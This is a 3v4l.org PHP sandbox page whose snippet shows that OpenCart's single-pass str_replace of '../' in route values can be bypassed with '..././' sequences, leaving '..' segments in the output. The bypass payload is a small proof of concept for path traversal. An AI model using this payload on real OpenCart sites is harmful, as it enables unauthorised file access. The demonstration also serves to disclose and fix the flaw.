3v4l.org

run code in 300+ PHP versions simultaneously
<?php // What OpenCart expects people to try: $route = 'apple/../../../../dog'; $parts = explode('/', str_replace('../', '', (string)$route)); var_dump($parts); // How to bypass their protection: $route = 'apple/..././..././..././..././dog'; $parts = explode('/', str_replace('../', '', (string)$route)); var_dump($parts);
Output for git.master, git.master_jit, rfc.property-hooks
array(2) { [0]=> string(5) "apple" [1]=> string(3) "dog" } array(6) { [0]=> string(5) "apple" [1]=> string(2) ".." [2]=> string(2) ".." [3]=> string(2) ".." [4]=> string(2) ".." [5]=> string(3) "dog" }

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page

preferences:
60.35 ms | 402 KiB | 8 Q